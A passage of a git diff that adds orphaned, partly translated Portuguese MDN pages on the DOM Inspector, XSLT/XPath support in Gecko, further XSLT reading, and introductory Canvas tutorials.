in the upper left portion of the DOM Inspector application, you can click anywhere in a loaded web page or the the inspect chrome document, and the element you click will be shown in the document pane in the DOM Nodes viewer and information displayed in the object pane.</p> + +<h4 id="procurar_por_Nodos_no_DOM">procurar por Nodos no DOM</h4> + +<p>Another way to inspect the DOM is to search for particular elements you're interested in by ID, class, or attribute. When you select <strong>Edit > Find Nodes...</strong> or press <code>Ctrl + F</code>, the DOM Inspector displays a find dialog that lets you find elements in various ways, and that gives you incremental searching by way of the <code><F3></code> shortcut key.</p> + +<p><img alt="domi-find-appcontent.png" class="default internal" src="/@api/deki/files/4687/=domi-find-appcontent.png"></p> + +<h4 id="Atualizar_o_DOM_Dinamicamente">Atualizar o DOM Dinamicamente</h4> + +<p>Another feature to mention in this introduction is the ability is the ability the DOM Inspector gives you to dynamically update information reflected in the DOM about web pages, user interface, and other elements. Note that when the DOM Inspector displays information about a particular node or subtree, it presents individual nodes and their values (in the DOM, attributes are subnodes of elements, typically) in an active list. You can perform actions on the individual items in this list from the context menu and the Edit menu, both of which contain menutimes that allow you <em>edit</em> the values of those attributes.</p> + +<p><img alt="domi-edit-search-onclick.png" class="default internal" src="/@api/deki/files/4686/=domi-edit-search-onclick.png"></p> + +<p>This interactivity allows you to shrink and grow element size, change icons, and do other layout-tweaking updates—all without actually changing the DOM as it is defined in the file on disk.</p> + +<p>Gostar do Inspetor</p> + +<p>O 'Inspetor de DOM' can take some figuring out, but once you get used to it, you may find that these structured views of web pages and interfaces were exactly the aspects of your own application development that were missing. The DOM Inspector not only presents all this information about pages in a clear and structured way, it gives you way to find and update those structures, and it's simple to access via shortcuts and menus already available in the Mozilla browser. Used in concert with Mozilla tools like <a class="external" href="http://www.mozilla.org/projects/venkman">Venkman</a>, the JavaScript debugger, the DOM Inspector can give you a <em>complete</em> view of any web page or DOM-based application interface.</p> diff --git a/files/pt-pt/orphaned/tools/add-ons/index.html b/files/pt-pt/orphaned/tools/add-ons/index.html new file mode 100644 index 0000000000..ab408aeb18 --- /dev/null +++ b/files/pt-pt/orphaned/tools/add-ons/index.html @@ -0,0 +1,15 @@ +--- +title: Add-ons +slug: Tools/Add-ons +tags: + - NeedsTranslation + - TopicStub +translation_of: Tools/Add-ons +--- +<div>{{ToolsSidebar}}</div><p>Developer tools that are not built into Firefox, but ship as separate add-ons.</p> + +<dl> + <dt><a href="https://addons.mozilla.org/en-US/firefox/addon/websocket-monitor/">WebSocket Monitor</a></dt> + <dd>Examine the data exchanged in a WebSocket connection.</dd> + <dd> </dd> +</dl> diff --git a/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html b/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html new file mode 100644 index 0000000000..22d79de1f3 --- /dev/null +++ b/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html @@ -0,0 +1,145 @@ +--- +title: Transformar XML com XSLT +slug: Transformar_XML_com_XSLT +tags: + - PrecisaDeMigração + - Todas_as_Categorias + - Transformar_XML_com_XSLT + - XSLT +--- +<p> </p> + +<h3 id="Vis.C3.A3o_Geral" name="Vis.C3.A3o_Geral"><a href="pt/Transformar_XML_com_XSLT/Vis%c3%a3o_Geral">Visão Geral</a></h3> + +<p>A separação do conteúdo e apresentação é uma característica chave de um projeto do <a href="pt/XML">XML</a>. A estrutura de um documento XML é projetada para refletir e esclarecer relacionamentos importantes entre os aspectos individuais do próprio conteúdo, <strong>unhindered</strong> por uma necessidade fornece qualquer indicação sobre como este dado deve eventualmente ser apresentado. Esta estruturação inteligente é particularmente importante como cada vez mais transferências de dados são automatizadas e ocorrem entre máquinas altamente heterogêneas ligadas por uma rede.</p> + +<p>Eventualmente muito do conteúdo armazenado em documentos XML precisarão ser apresentados para leitores humanos. Por isso o navegador proporciona uma interface familiar e altamente flexível, isto é um mecanismo ideal para entregar para apresentação as versões do conteúdo XML. Construído de baixo para cima utilizando uma variedade de tecnologias XML, o Mozilla incorpora nele todos os mecanismos necessários para processar todos os documentos XML originais e as folhas de estilo especializadas usadas para o estilo e disposição da exibição HTML, reduzindo o carregamento do servidor com o lado de processamento do cliente.</p> + +<p>No momento, o Gecko (a disposição do motor por trás do Mozilla e Firefox) suporta duas formas de folhas de estilo XML. Para controle básico da aparência — fontes, cores, posições, e assim por diante — Gecko usa a <a href="pt/CSS">CSS</a>, familiar de <a href="pt/DHTML">DHTML</a>. Toda a CSS1 e a maior parte da CSS2 são suportados. O suporte para a CSS3 esá em desenvolvimento. Para informações adicionais sobre CSS, veja <a class="external" href="http://www.meyerweb.com/eric/css/">Eric Meyer's CSS pages</a>.</p> + +<p>Nosso foco aqui é no segundo tipo de folhas de estilo que o Gecko suporta: a folha de estilo XSLT (Extensible Stylesheet Language Transformations). XSLT permite a um autor de folhas de estilo transfomrar um documento XML primário em dois caminhos significantes: manipulando e classificando o conteúdo, incluindo reordenação por atacado, se desejado assim, e transformação do conteúdo em um formato diferente (e no caso do Mozilla, o foco é na conversão disto em HTML que pode ser exibido pelo navegador.</p> + +<h3 id="Refer.C3.AAncia_XSLT.2FXPath" name="Refer.C3.AAncia_XSLT.2FXPath">Referência XSLT/XPath</h3> + +<h4 id="Elementos" name="Elementos"><a href="pt/XSLT/Elementos">Elementos</a></h4> + +<ul> + <li><a href="pt/XSLT/apply-imports">xsl:apply-imports</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/apply-templates">xsl:apply-templates</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/attribute">xsl:attribute</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/attribute-set">xsl:attribute-set</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/call-template">xsl:call-template</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/choose">xsl:choose</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/comment">xsl:comment</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/copy">xsl:copy</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/copy-of">xsl:copy-of</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/decimal-format">xsl:decimal-format</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/element">xsl:element</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/fallback">xsl:fallback</a><em>(não suportado)</em></li> + <li><a href="pt/XSLT/for-each">xsl:for-each</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/if">xsl:if</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/import">xsl:import</a><em>(suportado na maior parte)</em></li> + <li><a href="pt/XSLT/include">xsl:include</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/key">xsl:key</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/message">xsl:message</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/namespace-alias">xsl:namespace-alias</a><em>(não suportado)</em></li> + <li><a href="pt/XSLT/number">xsl:number</a><em>(parcialmente suportado)</em></li> + <li><a href="pt/XSLT/otherwise">xsl:otherwise</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/output">xsl:output</a><em>(parcialmente suportado)</em></li> + <li><a href="pt/XSLT/param">xsl:param</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/preserve-space">xsl:preserve-space</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/processing-instruction">xsl:processing-instruction</a></li> + <li><a href="pt/XSLT/sort">xsl:sort</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/strip-space">xsl:strip-space</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/stylesheet">xsl:stylesheet</a><em>(parcialmente suportado)</em></li> + <li><a href="pt/XSLT/template">xsl:template</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/text">xsl:text</a><em>(parcialmente suportado)</em></li> + <li><a href="pt/XSLT/transform">xsl:transform</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/value-of">xsl:value-of</a><em>(parcialmente suportado)</em></li> + <li><a href="pt/XSLT/variable">xsl:variable</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/when">xsl:when</a><em>(suportado)</em></li> + <li><a href="pt/XSLT/with-param">xsl:with-param</a><em>(suportado)</em></li> +</ul> + +<h4 id="Eixos" name="Eixos"><a href="pt/XPath/Eixos">Eixos</a></h4> + +<ul> + <li><a href="pt/XPath/Axes/ancestor">ancestor</a></li> + <li><a href="pt/XPath/Axes/ancestor-or-self">ancestor-or-self</a></li> + <li><a href="pt/XPath/Axes/attribute">attribute</a></li> + <li><a href="pt/XPath/Axes/child">child</a></li> + <li><a href="pt/XPath/Axes/descendant">descendant</a></li> + <li><a href="pt/XPath/Axes/descendant-or-self">descendant-or-self</a></li> + <li><a href="pt/XPath/Axes/following">following</a></li> + <li><a href="pt/XPath/Axes/following-sibling">following-sibling</a></li> + <li><a href="pt/XPath/Axes/namespace">namespace</a><em>(não suportado)</em></li> + <li><a href="pt/XPath/Axes/parent">parent</a></li> + <li><a href="pt/XPath/Axes/preceding">preceding</a></li> + <li><a href="pt/XPath/Axes/preceding-sibling">preceding-sibling</a></li> + <li><a href="pt/XPath/Axes/self">self</a></li> +</ul> + +<h4 id="Fun.C3.A7.C3.B5es" name="Fun.C3.A7.C3.B5es"><a href="pt/XPath/Fun%c3%a7%c3%b5es">Funções</a></h4> + +<ul> + <li><a href="pt/XPath/Functions/boolean">boolean()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/ceiling">ceiling()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/concat">concat()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/contains">contains()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/count">count()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/current">current()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/document">document()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/element-available">element-available()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/false">false()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/floor">floor()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/format-number">format-number()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/function-available">function-available()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/generate-id">generate-id()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/id">id()</a><em>(parcialmente suportado)</em></li> + <li><a href="pt/XPath/Functions/key">key()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/lang">lang()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/last">last()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/local-name">local-name()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/name">name()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/namespace-uri">namespace-uri()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/normalize-space">normalize-space()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/not">not()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/number">number()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/position">position()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/round">round()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/starts-with">starts-with()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/string">string()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/string-length">string-length()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/substring">substring()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/substring-after">substring-after()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/substring-before">substring-before()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/sum">sum()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/system-property">system-property()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/translate">translate()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/true">true()</a><em>(suportado)</em></li> + <li><a href="pt/XPath/Functions/unparsed-entity-url">unparsed-entity-url()</a><em>(não suportado)</em></li> +</ul> + +<h3 id="Para_leitura_adicional" name="Para_leitura_adicional"><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional">Para leitura adicional</a></h3> + +<ul> + <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Books">Livros</a></li> + <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Online">Online</a> + <ul> + <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#The_World_Wide_Web_Consortium">O World Wide Web Consortium</a></li> + <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Portals">Portais</a></li> + <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Articles">Artigos</a></li> + <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Tutorials.2FExamples">Tutoriais/Exemplos</a></li> + <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Mailing_Lists.2FNewsgroups">Listas de E-mail/Newsgroups</a></li> + </ul> + </li> +</ul> + +<div class="originaldocinfo"> +<h3 id="Informa.C3.A7.C3.A3o_Original_do_Documento" name="Informa.C3.A7.C3.A3o_Original_do_Documento">Informação Original do Documento</h3> + +<ul> + <li>Informação de Copyright: Copyright © 2001-2003 Netscape. All rights reserved.</li> + <li>Nota: Este artigo reimpresso era originalmente parte do site DevEdge.</li> +</ul> +</div> diff --git a/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html b/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html new file mode 100644 index 0000000000..888e6527a8 --- /dev/null +++ b/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html @@ -0,0 +1,206 @@ +--- +title: Para leitura adicional +slug: Transformar_XML_com_XSLT/Para_leitura_adicional +tags: + - PrecisaDeConteúdo + - Transformar_XML_com_XSLT +--- +<a href="/pt-PT/docs/Transforming_XML_with_XSLT">« Transforming XML with XSLT</a> + +<h3 id="Imprimir" name="Imprimir">Imprimir</h3> + +<h4 id="Livros" name="Livros">Livros</h4> + +<dl> + <dd><strong>XSLT: Programmer's Reference, Second Edition</strong> + + <dl> + <dd><strong>Autor</strong>: Michael H. Kay</dd> + <dd><strong>Tamanho</strong>: 992 páginas</dd> + <dd><strong>Editora</strong>: Wrox; 2 edition (3 de maio de 2001)</dd> + <dd><strong>ISBN</strong>: 0764543814 + <dl> + <dd>Michael Kay é um membro do W3C XSL Working Group e o desenvolvedor de seu próprio processador XSLT de código livre, Saxon. Ele é também o autor do único livro deste assunto a ter alcançado a segunda edição. Este é um grande livro, atraente e bem completo, às vezes completo demais em detalhes, cobrindo toda base possível sobre XSLT.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<p><span class="comment"><a class="external" href="http://www.amazon.com/XSLT-Programmers-Reference-Programmer/dp/0764543814" rel="freelink">http://www.amazon.com/XSLT-Programme.../dp/0764543814</a></span></p> + +<p> </p> + +<dl> + <dd><strong>XSLT</strong> + + <dl> + <dd><strong>Autor</strong>: Doug Tidwell</dd> + <dd><strong>Tamanho</strong>: 473 páginas</dd> + <dd><strong>Editora</strong>: O'Reilly Media; 1 edition (15 de agosto de 2001)</dd> + <dd><strong>ISBN</strong>: 0596000537 + <dl> + <dd>Doug Tidwell é um desenvolvedor sênior na IBM e um evangelista notável sobre tecnologias XML em geral. Ele é o autor de vários artigos e tutoriais em vários aspectos de XML no extenso site do desenvolvedor XML da IBM. Este livro é menos abrangente que o do Michael Kay, mas cobre todo o conteúdo básico e oferece exemplos interessantes.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<p><span class="comment"><a class="external" href="http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537" rel="freelink">http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537</a></span></p> + +<p> </p> + +<dl> + <dd><strong>Learning XML, Second Edition</strong> + + <dl> + <dd><strong>Autor</strong>: Erik T. Ray</dd> + <dd><strong>Tamanho</strong>: 432 páginas</dd> + <dd><strong>Editora</strong>: O'Reilly Media; 2 edition (22 de setembro de 2003)</dd> + <dd><strong>ISBN</strong>: 0596004206 + <dl> + <dd>Como o título indica, esta é uma visão geral sobre XML. O capítulo 6 é voltado especificamente para XSLT.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<p><span class="comment"><a class="external" href="http://www.amazon.com/gp/product/0596004206" rel="freelink">http://www.amazon.com/gp/product/0596004206</a></span></p> + +<h3 id="Digital" name="Digital">Digital</h3> + +<h4 id="Websites" name="Websites">Websites</h4> + +<dl> + <dd><strong>World Wide Web Consortium</strong> + + <dl> + <dd><strong>The W3C homepage</strong>: <a class="external" href="http://www.w3.org/" rel="freelink">http://www.w3.org/</a></dd> + <dd><strong>The main XSL page</strong>: <a class="external" href="http://www.w3.org/Style/XSL/" rel="freelink">http://www.w3.org/Style/XSL/</a></dd> + <dd><strong>The version 1.0 Recommendation for XSLT</strong>: <a class="external" href="http://www.w3.org/TR/xslt" rel="freelink">http://www.w3.org/TR/xslt</a></dd> + <dd><strong>Archive of public style (CSS and XSLT) discussions</strong>: <a class="external" href="http://lists.w3.org/Archives/Public/www-style/" rel="freelink">http://lists.w3.org/Archives/Public/www-style/</a></dd> + <dd><strong>The version 1.0 Recommendation for XPath</strong>: <a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a> + <dl> + <dd>The World Wide Web Consortium is the body that publishes Recommendations for a number of web-based technologies, many of which become the de-facto standard.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<h4 id="Artigos" name="Artigos">Artigos</h4> + +<dl> + <dd><strong>Hands-on XSL</strong> + + <dl> + <dd><strong>Author</strong>: Don R. Day</dd> + <dd><strong>Location</strong>: <a class="external" href="http://www-106.ibm.com/developerworks/library/x-hands-on-xsl/" rel="freelink">http://www-106.ibm.com/developerwork...-hands-on-xsl/</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>Understanding XSLT</strong> + + <dl> + <dd><strong>Author</strong>: Jay Greenspan</dd> + <dd><strong>Location</strong>: <a class="external" href="http://hotwired.lycos.com/webmonkey/98/43/index2a.html?tw=authoring" rel="freelink">http://hotwired.lycos.com/webmonkey/...l?tw=authoring</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>What is XSLT?</strong> + + <dl> + <dd><strong>Author</strong>: G. Ken Holman</dd> + <dd><strong>Location</strong>: <a class="external" href="http://www.xml.com/pub/a/2000/08/holman/index.html" rel="freelink">http://www.xml.com/pub/a/2000/08/holman/index.html</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Tutoriais.2FExemplos" name="Tutoriais.2FExemplos">Tutoriais/Exemplos</h4> + +<dl> + <dd><strong>Zvon</strong> + + <dl> + <dd><strong>XSL Programmers</strong>: <a class="external" href="http://www.zvon.org/o_html/group_xsl.html" rel="freelink">http://www.zvon.org/o_html/group_xsl.html</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>Jeni's XSLT Pages</strong> + + <dl> + <dd><strong>Index</strong>: <a class="external" href="http://www.jenitennison.com/xslt/" rel="freelink">http://www.jenitennison.com/xslt/</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>XMLPitstop.com</strong> + + <dl> + <dd><strong>StyleSheet Center</strong>: <a class="external" href="http://www.xmlpitstop.com/Default.asp?DataType=SSC" rel="freelink">http://www.xmlpitstop.com/Default.asp?DataType=SSC</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>XSL Tutorial</strong> + + <dl> + <dd><strong>Index</strong>: <a class="external" href="http://www.nwalsh.com/docs/tutorials/xsl/" rel="freelink">http://www.nwalsh.com/docs/tutorials/xsl/</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Outros" name="Outros">Outros</h4> + +<dl> + <dd><strong>Cover Pages</strong> + + <dl> + <dd><strong>Extensible Stylesheet Language (XSL)</strong>: <a class="external" href="http://www.oasis-open.org/cover/xsl.html" rel="freelink">http://www.oasis-open.org/cover/xsl.html</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>XSL-List</strong> + + <dl> + <dd><strong>Subscribe</strong>: <a class="external" href="http://www.mulberrytech.com/xsl/xsl-list/" rel="freelink">http://www.mulberrytech.com/xsl/xsl-list/</a></dd> + <dd><strong>Archives</strong>: <a class="external" href="http://www.biglist.com/lists/xsl-list/archives/" rel="freelink">http://www.biglist.com/lists/xsl-list/archives/</a> + <dl> + <dd>The XSL-List is a very active general mailing list, hosted by <a class="external" href="http://mulberrytech.com/">Mulberry Technologies</a></dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>mozilla.dev.tech.xslt</strong> + + <dl> + <dd><strong>Google Groups</strong>: <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.xslt" rel="freelink">http://groups.google.com/group/mozilla.dev.tech.xslt</a> + + <dl> + <dd>This is a newsgroup that discusses Netscape-specific XSLT issues.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<p><span class="comment">Categorias</span></p> + +<p><span class="comment">Interwiki Language Links</span></p> + +<p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources", "pl": "pl/Transformacje_XML_z_XSLT/Przeczytaj_wi\u0119cej" } ) }}</p> diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html new file mode 100644 index 0000000000..e23701e72d --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html @@ -0,0 +1,8 @@ +--- +title: Formas de desenho +slug: Tutorial_do_Canvas/Formas_de_desenho +--- +<h2 id="A_Grade">A Grade</h2> +<p>Antes de começar a desenhar, nós precisamos falar um pouco sobre o <em>sistema de cordenadas</em>. No início da página anterior há um template de 150x150. Eu desenhei a grade padrão. Normalmente 1 unidade na grade corresponde à 1 pixel na tela. A origem da grade está posicionada no canto superior esquerdo (cordenada (0; 0)). Todos os elementos são posicionados pela sua origem. Então a posição do canto superior esquerdo do quadrado azul está em x pixels da esquerda e y pixels de cima (cordenada (x; y)). Mais tarde neste tutorial, nós veremos como reposicionar esta origem, rodar a grade e redimensionar. Por enquanto, trabalharemos com os padróes.</p> +<h2 id="Desenhado_formas">Desenhado formas</h2> +<p>Diferente do SVG, o canvas suporta apenas uma forma primitiva - retângulos. Todas as outras formas devem ser criadas combinando uma ou mais formas. Por sorte, nós temos uma coleção de funções de desenho de formas que permite a composição de forma altamente complexas.</p> diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/index.html new file mode 100644 index 0000000000..98c8233b1e --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_do_canvas/index.html @@ -0,0 +1,24 @@ +--- +title: Tutorial do Canvas +slug: Tutorial_do_Canvas +tags: + - 'HTML:Canvas' + - Tutoriais + - Tutorial_do_Canvas +--- +<p><img align="right" alt="" class=" internal" src="/@api/deki/files/2529/=Canvas_tut_examples.jpg"><strong> O <code><a href="/pt/HTML/Canvas" title="pt/HTML/Canvas"><canvas></a></code></strong> é um elemento <a href="/pt/HTML" title="pt/HTML">HTML</a> novo que pode ser usado para desenhar gráficos através de linguagens de guião (normalmente <a href="/pt/JavaScript" title="pt/JavaScript">JavaScript</a>). Ele pode, por exemplo, ser usado para desenhar gráficos, fazer composição de fotografias ou animações <span>(simples e <a href="/pt/Um_RayCaster_Básico">não tão simples</a>)</span>. A imagem à direita apresenta alguns exemplos de implementações de <code><canvas></code> que veremos mais adiante neste tutorial.</p> +<p>O <code><canvas></code> foi inicialmente apresentado pela Apple para o <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Mac OS X Dashboard</a> e mais tarde implementado no Safari. Os navegadores baseados no <a href="/pt/Gecko" title="pt/Gecko">Gecko</a> 1.8, tal como o Firefox 1.5, também suportam este elemento. O elemento <code><canvas></code> faz parte das específicações <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a>, também conhecidas como HTML 5.</p> +<p>Neste tutorial eu vou tentar descrever como implementar o elemento <code><canvas></code> nas suas páginas HTML. Os exemplos apresentados devem dar umas boas ideias sobre o que é que se pode fazer com <code><canvas></code> e podem ser usados para começar a construir outras implementações.</p> +<h3 id="Antes_de_come.C3.A7ar">Antes de começar</h3> +<p>O uso do elemento <code><canvas></code> não é muito difícil mas para isso é preciso possuir um conhecimento básico de <a href="/pt/HTML" title="pt/HTML">HTML</a> e <a href="/pt/JavaScript" title="pt/JavaScript">JavaScript</a>.</p> +<p>Como foi dito acima, o elemento <code><canvas></code> não é suportado em todos os navegadores modernos. Por consequência, para ver os exemplos será necessário usar o Firefox ou outro navegador baseado no Gecko tal como o Opera ou o Safari.</p> +<h3 id="Neste_Tutorial">Neste Tutorial</h3> +<ul> <li><a href="/pt/Tutorial_do_Canvas/Utilização_básica" title="pt/Tutorial_do_Canvas/Utilização_básica">Utilização básica</a></li> <li><a href="/pt/Tutorial_do_Canvas/Formas_de_desenho" title="pt/Tutorial_do_Canvas/Formas_de_desenho">Formas de desenho</a></li> <li><a href="/pt/Tutorial_do_Canvas/O_uso_de_imagens" title="pt/Tutorial_do_Canvas/O_uso_de_imagens">O uso de imagens</a></li> <li><a href="/pt/Tutorial_do_Canvas/Aplicar_estilos_e_cores" title="pt/Tutorial_do_Canvas/Aplicar_estilos_e_cores">Aplicar estilos e cores</a></li> <li><a href="/pt/Tutorial_do_Canvas/Transformações" title="pt/Tutorial_do_Canvas/Transformações">Transformações</a></li> <li><a href="/pt/Tutorial_do_Canvas/Composições" title="pt/Tutorial_do_Canvas/Composições">Composições</a></li> <li><a href="/pt/Tutorial_do_Canvas/Animações_básicas" title="pt/Tutorial_do_Canvas/Animações_básicas">Animações básicas</a></li> +</ul> +<h3 id="Ver_tamb.C3.A9m">Ver também</h3> +<ul> <li><a href="/pt/HTML/Canvas" title="pt/HTML/Canvas">A página do tópico Canvas</a></li> <li><a href="/pt/Desenhar_Gráficos_com_Canvas" title="pt/Desenhar_Gráficos_com_Canvas">Desenhar Gráficos com Canvas</a></li> <li><a href="/Special:Tags?tag=Exemplos_Canvas&language=pt" title="Special:Tags?tag=Exemplos_Canvas&language=pt">Exemplos Canvas</a></li> +</ul> +<p>{{ Next("Canvas tutorial:Basic usage") }}</p> +<p><span>Categorias</span></p> +<p><span>Interwiki Language Links</span></p> +<p>{{ languages( { "en": "en/Canvas_tutorial", "fr": "fr/Tutoriel_canvas", "ja": "ja/Canvas_tutorial", "ko": "ko/Canvas_tutorial", "pl": "pl/Przewodnik_po_canvas", "zh-cn": "cn/Canvas_tutorial" } ) }}</p> diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/utilização_básica/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/utilização_básica/index.html new file mode 100644 index 0000000000..489af34137 --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_do_canvas/utilização_básica/index.html @@ -0,0 +1,23 @@ +--- +title: Utilização básica +slug: Tutorial_do_Canvas/Utilização_básica +--- +<h2 id="O_Elemento_<canvas>">O Elemento <code><canvas></code></h2> +<p>Vamos iniciar este tutorial olhando para o elemento <code><canvas></code>.</p> +<pre><canvas id="tutorial" width="150" height="150"><canvas> +</pre> +<p>Isto se parece com o elemento <code><img></code>, a única diferença é que não tem os atributos <code>src</code> e <code>alt</code>. O elemento <code><canvas></code> tem apenas dois atriburos - <strong>width</strong> e <strong>height</strong>. Estes são opcionais e podem ser mudados usando propriedades do <a href="/pt/DOM" title="pt/DOM">DOM</a>. Quando não configurados os valores de width e height, a largura será de <strong>300 pixels</strong> e a altura será de <strong>150 pixels</strong>. O elemento pode ser redimensionado árbitrariamente usando <a href="/pt/CSS" title="pt/CSS">CSS</a>, mas durante a renderização a imagem será redimensionada para preencher o tamanho total do elemento (Se a renderização parecer distorcida, tente mudar os valores de width e height do elemento <code><canvas></code>, e não via CSS).</p> +<p>O atributo <code>id</code> não é específico do elemeto <code><canvas></code>, mas é um dos atributos padrão do HTML que pode ser aplicato à (quase) todos os elementos HTML. É sempre uma boa idéia adicionar o atributo <code>id</code> porque fica fácil de identificar o elemento no script.</p> +<p>O elemento <code><canvas></code> pode ser estilizado como qualquer imagem normal (margem, borda, fundo, etc). estas estilizações não afetam o desenho real da imagem. Nós veremos mais adiante neste tutorial. Quando nenhuma regra é aplicada à <code><canvas></code>, ela será totalmente transparente.</p> +<h3 id="Conteúdo_alternativo">Conteúdo alternativo</h3> +<p>Por ser relativamente novo, o elemento <code><canvas></code> não foi implementado em alguns navegadores (como no IE, antes da versão 9), os precisamos definir um conteúdo alternativo para navegadores que não suportam a tag.</p> +<p>Isto é muito fácil: nós apenas adicionamos o conteúdo alternativo dentro do elemento <code><canvas></code>. Navegadores que não suportam <code><canvas></code> irão ignorar o elemento e renderizar o conteúdo interno. Navegadores que suportam <code><canvas></code> irão ignorar o conteúdo interno e renderizar o elemento normalmente.</p> +<p>Por exemplo, nós podemos adicionar uma descrição de texto do elemento ou adicionar uma imagem estática do conteúdo dinâmicamente renderizado. Parecerá assim:</p> +<pre><canvas id="grafEstoque" width="150" height="150"> + Preço atual do estoque: $3,15 +0,15 +</canvas> + +<canvas id="relogio" width="150" height="150"> + <img src="imagens/relogio.png" width="150" height="150" /> +</canvas> +</pre> diff --git a/files/pt-pt/orphaned/tutorial_xul/adicionando_botões/index.html b/files/pt-pt/orphaned/tutorial_xul/adicionando_botões/index.html new file mode 100644 index 0000000000..98cc27b169 --- /dev/null +++ 